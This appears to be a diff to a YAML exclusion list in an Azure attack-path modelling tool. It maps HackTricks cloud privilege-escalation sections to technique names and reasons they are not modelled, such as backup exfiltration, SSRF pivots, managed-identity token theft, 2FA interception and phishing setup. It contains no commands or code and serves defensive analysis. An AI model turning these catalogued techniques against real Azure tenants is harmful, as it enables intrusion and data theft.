src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsread + technique: Run action inputs/outputs read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsrunsactionsrequesthistoriesread + technique: Webhook request history read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsaccesskeyslistaction + technique: Workflow access keys + reason: Callback signing material; existing logic only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsitespublishaction-microsoftwebsitesread-microsoftwebsitesbasicpublishingcredentialspoliciesread-microsoftwebsitesconfiglistaction-microsoftwebsitesstartaction + technique: Standard Logic App publish + reason: Duplicate of app_services.yaml Microsoft.Web/sites publish entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebconnectionswrite---redirect-a-future-workflow-through-attacker-credentials + technique: API connection credential replacement + reason: Data redirection; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsmapswrite---poison-a-future-xslt-transformation + technique: Integration Account map write + reason: Data manipulation; consumer-dependent. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversbackupsread + technique: PostgreSQL restore from backup + reason: Data copy; password reset path modelled separately. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversfirewallruleswrite + technique: SQL firewall rules + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversipv6firewallruleswrite + technique: SQL IPv6 firewall rules + reason: Network reachability only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversazureadonlyauthenticationswrite--microsoftsqlserversazureadonlyauthenticationsread + technique: SQL Entra-only authentication toggle + reason: Control weakening; used as condition of password reset entry. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversdatabasesdatamaskingpolicieswrite + technique: Dynamic data masking policy + reason: Data exposure control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#remove-row-level-security + technique: Remove row-level security + reason: Data-plane SQL permission; not RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#elastic-jobs-run-arbitrary-t-sql-through-jobagentsjobsstepswrite--executionswrite + technique: Elastic Jobs T-SQL as stored credential + reason: A credential or permission gain is documented, but it is deferred until the collector supplies sql.elasticJobs[{agentId,jobId,stepId,credentialId,targetGroupId,targetDatabaseIds}]. + The stored credential and target group must belong to the same runnable job. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitessnippetswrite + technique: SWA snippet injection + reason: Client-side content injection; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#read-configured-third-party-credentials + technique: Third-party source-control tokens + reason: A credential or permission gain is documented, but it is deferred until external_service_credential target + with provider OAuth scopes and current-account ownership. The sourcecontrols response can contain OAuth tokens; + downstream rights depend on token scopes. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#overwrite-file---overwrite-routes-html-js + technique: Overwrite repo files with GitHub token + reason: Non-Azure repository write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitesconfigwrite + technique: SWA basic auth change + reason: Content access control only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + technique: SWA deployment token + reason: A credential or permission gain is documented, but it is deferred until the collector supplies staticWebApps.deploymentAuth[{siteId,tokenEnabled,azureTokenAllowed}]. + A returned deployment token must be accepted by the site deployment endpoint. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteswrite + technique: SWA source repository change + reason: Static content deployment; no managed identity reached. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitesresetapikeyaction + technique: SWA reset API key + reason: Disruption. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitescreateinvitationaction + technique: SWA user invitation + reason: A credential or permission gain is documented, but it is deferred until azure_application_role target + for Static Web App protected-path role, plus invitation acceptance condition. An invitation only becomes a role + after a matching user accepts it. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#pull-requests + technique: SWA PR preview deployments + reason: Repository-level abuse; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#service-user-delegation-keys-blob-file-queue-and-table + technique: User delegation keys + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountswrite + technique: Storage account write (network/settings) + reason: Control weakening only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#hns-acl-takeover-and-blob-super-user-data-action + technique: HNS ACL takeover / runAsSuperUser + reason: A credential or permission gain is documented, but it is deferred until azure_storage_path target with + HNS ACL/ancestor-execute evaluator and separate read permission. ACL modification or owner change only permits + access after path ACL and read checks; runAsSuperUser bypasses ACL. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#operational-blob-backup-rollback-with-microsoftdataprotectionbackupvaultsbackupinstancesrestoreaction + technique: Blob backup rollback + reason: Data integrity/recovery; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsblobservicescontainersimmutabilitypolicieswrite--microsoftstoragestorageaccountsblobservicescontainersimmutabilitypoliciesdelete + technique: Immutability policies + reason: Data retention control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicestakeownershipaction + technique: Azure Files take ownership + reason: A credential or permission gain is documented, but it is deferred until azure_file_path target with ownership + and NTFS ACL evaluation. Taking ownership gives ability to edit ACL, not automatic file read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsaction + technique: Azure Files modify permissions + reason: A credential or permission gain is documented, but it is deferred until azure_file_path target with NTFS + ACL evaluation and self-grant outcome. modifypermissions changes a file ACL; access depends on the granted ACE + and separate read action. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesactassuperuseraction + technique: Azure Files act as superuser + reason: A credential or permission gain is documented, but it is deferred until azure_file_path target with superuser + bypass outcome and file data-operation check. actassuperuser is an ACL bypass for file operations, not an ARM + role grant. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#azure-files-and-local-user-credential-boundaries + technique: Azure Files / local-user boundaries + reason: Page states not standalone primitives. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsrestoreblobrangesaction + technique: Restore blob ranges + reason: Data recovery. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#soft-deleted-containers-and-blobs-via-account-keys + technique: Soft-deleted container/blob restore + reason: Data recovery. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicessharesrestoreaction--microsoftstoragestorageaccountsread + technique: File share restore + reason: Data recovery. +# Az1 refresh against hacktricks-cloud 171e422 (README..functions-app) +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/README.md#entra-id-and-azure-iam + technique: "Index page section" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#ai-foundry-ai-hubs-azure-openai--ai-search + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountsconnectionslistsecretsaction-and-microsoftcognitiveservicesaccountsprojectsconnectionslistsecretsaction + technique: "AI Foundry connection secret listing" + reason: "Covered by azure-ml-connection-secrets." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountswrite--account-config-tamper--uami-attach--re-enable-local-auth--open-network + technique: "Cognitive Services account config tamper / UAMI attach" + reason: "Account-level configuration and identity attach give no attacker-controlled code or request path running as the identity; local-auth and network changes are posture downgrades (key paths need listKeys)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#azure-ai-search + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#on-demand-skillset-detonation-with-microsoftsearchsearchservicesdebugsessionswrite--debugsessionsexecuteaction + technique: "Debug-session skillset detonation" + reason: "Covered by azure-ai-search-skillset-write-identity-token (debugSessions any_of alternative)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#index-schema-poisoning--vectorizer-repoint-with-microsoftsearchsearchservicesindexeswrite + technique: "Index vectorizer repoint" + reason: "Covered by azure-ai-search-skillset-write-identity-token (indexes/write any_of alternative)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#enumeration-when-search-reads-are-denied + technique: "Enumeration when reads are denied" + reason: "Enumeration guidance only; no privilege gain." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#analysis-services + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#analysis-services-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#firewall-widening--power-bi-exposure-reach-the-data-plane + technique: "Analysis Services firewall widening" + reason: "Network exposure only; data-plane access still needs server admin (azure-analysisservices-server-admin-write)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-center-privesc.md#api-center + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-center-privesc.md#internal-api-recon-data-reader + technique: "Internal API inventory recon" + reason: "Data read of API metadata; no identity gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#api-management + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicebackendslistsecretsaction + technique: "APIM backend secret listing" + reason: "Returns backend credentials (keys/basic auth/certificates) of downstream APIs; Entra credentials stored as named values are modelled by the APIM named-value entries, backends yield no Azure identity by themselves." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceopenidconnectproviderslistsecretsaction + technique: "APIM OpenID Connect provider client secret" + reason: "Covered by azure-apim-oauth-server-secret." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicepolicieswrite-or-microsoftapimanagementserviceapispolicieswrite + technique: "APIM policy write (validate-jwt removal, throttling removal, backend reroute)" + reason: "Security-control weakening and traffic reroute; the identity path of the same permission is covered by azure-apim-policy-write-managed-identity-token (rev 171e422)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapispolicieswrite--ssrf--internal--imds-pivot-via-send-request + technique: "APIM policy SSRF / internal pivot" + reason: "Network pivot through the gateway; the identity path is covered by azure-apim-policy-write-managed-identity-token." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#app-configuration + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoreslistkeyvalueaction + technique: "App Configuration key-value listing" + reason: "Data read of configuration values; Key Vault references resolve only with the consumer's identity, so no Azure identity is gained by the source." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoreskeyvaluesread + technique: "App Configuration key-value data read" + reason: "Data read; no identity gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#weaken-store-posture-with-configurationstoreswrite + technique: "App Configuration posture downgrade" + reason: "Re-enables local auth / public network; posture downgrade, no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#webjobs-microsoftwebsitespublishaction--scm-credentials + technique: "WebJobs via publish/SCM credentials" + reason: "Covered by azure-appservice-kudu-publish-action." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigwrite-microsoftwebsitesconfigread-microsoftwebsitesconfiglistaction-microsoftwebsitesread + technique: "App Service config write" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#rce-via-app-settings--environment-variables-microsoftwebsitesconfigwrite + technique: "RCE via app settings" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#replace-function-code-on-its-azure-files-content-share-fileswrite--writefilebackupsemantics + technique: "Function content share code replacement" + reason: "Covered by azure-functions-content-storage-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesbackupaction-backup-exfiltration-to-attacker-storage + technique: Backup exfiltration + reason: The backup can disclose an Entra application client secret in app settings or connection strings, but + ARM configuration alone does not show whether the backed-up content contains a still-valid secret or identify + its service principal. The site must support backup, and the caller must provide a writable Storage SAS destination + and retrieve the ZIP. Exclude until content and credential validity can be established without inferring an + identity from backup/action alone. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesnetworkconfigwrite-vnet-integration-for-an-internal-pivot + technique: "VNet integration pivot" + reason: "Network pivot; needs code execution modelled elsewhere." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#kudu-process-memory-dump-harvest-in-memory-mi-tokens--decrypted-secrets + technique: "Kudu process memory dump (SCM credential / publish path)" + reason: "Kudu access path covered by azure-appservice-kudu-publish-action; the ARM instances/processes route is modelled as azure-appservice-process-dump-cached-tokens (rev 171e422)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#remove-accessip-restrictions-to-expose-a-network-restricted-app + technique: "Access restriction removal" + reason: "Network exposure only." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayswrite-attacker-relay-outbound-pivot + technique: "Hybrid connection attacker relay" + reason: "Outbound network pivot; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#app-service-domain-transfer-code-via-hidden-wildcard-operation + technique: "App Service domain transfer code" + reason: "Domain hijack (DNS / phishing impact); no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#azure-arc-enabled-servers + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#arc-enabled-servers-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#rce-via-arc-run-command + technique: "Arc run command" + reason: "Covered by azure-arc-machine-runcommands-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#attach-a-privileged-managed-identity-machine-write + technique: "Attach identity via machines/write" + reason: "Arc-enabled servers support only a system-assigned identity (no user-assigned attach); machines/write alone gives no code execution." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#managed-identity-token-theft-via-himds-on-prem--azure-pivot + technique: "HIMDS token theft on the box" + reason: "On-box step; the reaching RCE paths are azure-arc-machine-extensions-write, azure-arc-machine-runcommands-write and azure-arc-hybrid-connectivity-entra-ssh." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#license--license-profile-writes-billing-abuse + technique: "License profile writes" + reason: "Billing abuse; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#azure-arc-resource-bridge + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#export-partner-kubeconfig-and-hybrid-connection-listener-token + technique: Partner kubeconfig / listener token export + reason: The returned kubeconfig and hybrid-connection Listener token may grant appliance or relay access, but + their effective RBAC, relay-token scope and network reachability require response and appliance/relay facts + absent from the ARM configuration snapshot. The deleted azure-arc-resource-bridge-credential-export rule did + not establish an administrator target. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#built-in-role-exposure + technique: "Built-in role exposure" + reason: "Role inventory guidance; no separate primitive." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#arm-templates--deployments + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#arm-templates--deployments + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-attestation-privesc.md#azure-attestation + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#entra-id-azuread--azure-iam + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation-accounts + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsscheduleswrite-microsoftautomationautomationaccountsjobscheduleswrite + technique: "Schedule an existing runbook" + reason: "Covered by azure-automation-trigger-existing-runbook (jobSchedules/write; schedules/write only creates the schedule)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountswebhooks--microsoftautomationautomationaccountsrunbooksread + technique: "Webhook trigger of an existing runbook" + reason: "Covered by azure-automation-trigger-existing-runbook." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbooksdrafttestjobwrite + technique: "Draft test job" + reason: "Covered by azure-automation-runbook-author-and-run (testJob alternative)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation---malicious-modules + technique: "Malicious module" + reason: "Covered by azure-automation-poison-module-or-package." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#azure-batch + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountsregeneratekeysaction + technique: "Batch key regeneration" + reason: "Covered by azure-batch-shared-key-task-submission." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#azure-bot-service + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#communication-services + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#org-domain-phishing-infrastructure-with-emailservicesdomainssenderusernameswrite + technique: "Org-domain sender phishing" + reason: "Phishing infrastructure; no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#push-channel-redirect-with-communicationserviceslinknotificationhubaction + technique: "Push channel redirect" + reason: "Notification redirection; no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#inbound-sms2fa-interception-with-communicationserviceseventgridfilterswrite + technique: "Inbound SMS / 2FA interception" + reason: "Message interception (possible external account takeover), not an Azure identity edge." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md#confidential-ledger + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md#container-apps + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#container-instances-container-apps-and-jobs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#azure-container-instances-apps--jobs + technique: "Section title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: "ACI with user-assigned identity" + reason: "Covered by azure-aci-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappmanagedenvironmentsread-microsoftappjobswrite-microsoftappmanagedenvironmentsjoinaction-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: "Container App job with user-assigned identity" + reason: "Covered by azure-containerapp-job-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#container-registry + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswebhookswrite--outbound-event-exfiltration--ci-cd-recon + technique: "ACR webhook exfiltration" + reason: "Push/pull event metadata exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswrite--network-exposure--lockout + technique: "ACR network exposure / lockout" + reason: "Posture change or DoS; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#customer-managed-key-cmk-revocation--registry-ransom--dos + technique: "ACR CMK revocation" + reason: "Denial of service; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#cosmosdb + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountsregeneratekeysaction + technique: Inference account key regeneration + reason: Rotates and returns a reusable Semantic Reranker key for billed inference when key authentication is enabled; + it grants no Cosmos document or ARM access. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountsinvokesemanticrerankeraction + technique: "Semantic reranker invocation" + reason: "Inference usage; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#other-current-inference-service-boundaries + technique: "Inference service boundaries" + reason: "Boundary notes; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#azure-data-explorer + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#data-factory + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#database-migration-service + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#microsoftdatamigrationsqlmigrationserviceslistauthkeysaction--rogue-ir-worker-on-prem-credential-relay + technique: DMS IR auth key rogue worker + reason: Returns DMS IR registration keys, enabling a rogue worker when default-ir exists. Capturing source SQL + credentials additionally requires a migration job assigned to that worker. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#microsoftsqlserverswrite-bundled-in-the-migration-roles--unexpected-sql-control-plane-reach + technique: "Migration roles include servers/write" + reason: "Covered by azure-sql-server-admin-password-reset." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#azure-databricks + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#unity-catalog-storage-credential--external-location-abuse + technique: Unity Catalog storage credential abuse + reason: Unity Catalog temporary credentials can grant Azure Storage access through an Access Connector MI. Databricks + UC permissions, storage credential links and Azure Storage scope are required to evaluate this. + source_revision: 0b36331 +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#microsoftdatabricksaccessconnectorswrite--attach-an-over-privileged-managed-identity + technique: "Access connector identity attach" + reason: "Using the connector identity needs Unity Catalog storage-credential privileges outside Azure RBAC." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#the-managed-rg-deny-assignment-and-why-updatedenyassignment-is-not-an-attacker-primitive + technique: "Managed RG deny assignment" + reason: "Page states it is not an attacker primitive." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#defender-for-cloud + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#microsoftsecurityautomationswrite--abuse-the-workflow-automation-identity + technique: "Defender workflow automation identity" + reason: "Identity gain needs Microsoft.Logic/workflows/write on the target Logic App; covered by azure-logicapp-workflow-write-existing-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#deployifnotexists-remediation-identities-via-azure-policy + technique: "DINE remediation identities" + reason: "Covered by azure-policy-definition-write-remediation-identity / azure-policy-assignment-write-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#microsoftsecuritypricings--connector-service-principals + technique: "Defender connector service principals" + reason: "Entra application credential paths (Entra ID catalog scope)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-center + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-center-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#catalog-poisoning-supply-chain + technique: "Catalog poisoning" + reason: "Covered by azure-devcenter-ade-deployment-identity (template_control condition)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-box-local-admin-cloud-pc--customization-rce + technique: "Dev Box local admin / customization RCE" + reason: "Dev boxes carry no documented Azure managed identity; gain is local admin on a Cloud PC." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#devtest-labs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#devtest-labs-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#foothold-vms-schedules--policy-tampering + technique: "Lab VM / schedule / policy tampering" + reason: "Persistence or DoS; no identity beyond the modelled artifact and claim paths." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#pivot-to-raw-compute + technique: "Pivot to the backing compute VM" + reason: "Covered by the Microsoft.Compute VM entries (virtual_machines.yaml) once the backing VM is reached." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#azure-digital-twins + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsqueryaction + technique: "Digital Twins query" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsread + technique: "Digital Twins twin read" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsrelationshipsread + technique: "Digital Twins relationship read" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsinstancesendpointswrite--microsoftdigitaltwinseventrouteswrite--live-telemetrygraph-exfil + technique: "Endpoint / event route exfiltration" + reason: "Telemetry and graph exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#graph--schema-integrity-writes--modelswrite-digitaltwinsrelationshipswrite-digitaltwinscommandsaction + technique: "Graph / schema integrity writes" + reason: "Data integrity impact on downstream consumers; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#event-grid + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: 